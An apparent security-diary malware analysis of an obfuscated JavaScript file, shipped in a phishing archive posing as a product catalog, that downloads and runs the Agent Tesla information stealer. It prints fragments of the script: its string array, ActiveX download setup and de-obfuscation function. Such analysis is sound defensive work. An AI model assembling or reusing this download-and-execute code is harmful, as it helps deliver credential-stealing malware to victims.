JavaScript Downloader Delivers Agent Tesla Trojan

Published: 2021-11-18
Last Updated: 2021-11-18 07:46:37 UTC
by Xavier Mertens (Version: 1)
1 comment(s)

Yesterday I spotted a piece of JavaScript script that delivers Agent Tesla[1]. New waves of this information stealer trojan are regularly spread to victims. PE files are delivered through downloader scripts attached to phishing emails. Those scripts are regularly updated and the one I found yesterday was interesting. The file was delivered as a 7z archive pretending to content a product catalog. Inside the archive, there was a JavaScript called "Product Specification #87305.js" (SHA256:2c15a96371122649e0c47c4e1af2eff14860a7d8fafc6f71267ea5035d5d4201). The file has a current VT score of 15/55[2].

The file is nicely obfuscated but strings remain readable. Obfuscation techniques have two goals: 

  • Make the malware analyst job more difficult (and prevent the human eye to spot interesting information just by having a look at the code)
  • Defeat security controls in place (IDS, YARA rules, and all types of scanners)

In this case, obfuscation has been used for the second goal. Indeed strings remain readable:

remnux@remnux:/MalwareZoo/20211117$ grep -Eo "https://[^ >']+" Product\ Specification\ #87305.js 

The script is a one-liner but easy to beautify. The most interesting line is this one:

var _0xa4fe8b = [
 'Write','ResponseBody','/Downloader.exe','7219660HUvMZx','1726612MrOKnM','Open','send','WScript.Shell', \
 'Position','open','160894RIiqRQ','8coaNbK','558ryteMc','385460ubOOJO','3TcAywk','CreateObject', \
 '4403030JpxZdM','GET','7228980JDcfGe','Type','Scripting.FileSystemObject','SaveToFile','Close', \

This array is used with the function _0x4fccd5() as seen in this example:

var WshShell=WScript['CreateObject']('WScript.Shell'), \
  filepath=WshShell['ExpandEnvironmentStrings']('%TEMP%')+_0x4fccd5(0x124), \
  url=_0x4fccd5(0x139), \
  xhr=new ActiveXObject('MSXML2.XMLHTTP');

To make the analysis more difficult, the function is aliased to another one (that's why I like JavaScript!):

function _0x2f7e(_0x57e24e,_0x597446)
  var _0x248d35=_0x248d();
  return _0x2f7e=function(_0x2f7e14,_0x486218)
     var _0x38ca6a=_0x248d35[_0x2f7e14];
     return _0x38ca6a;

var _0x4fccd5=_0x2f7e;

The index of the array to use is specified in hexadecimal (Ex: "0x124") and corrected to access the right element.

The script uses the classic ActiveX objects: 'MSXML2.XMLHTTP' to download the file, 'ADODB.Stream' to dump it on the file system and 'WScript.Shell' to execute it.


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

1 comment(s)
ISC Stormcast For Thursday, November 18th, 2021


Diary Archives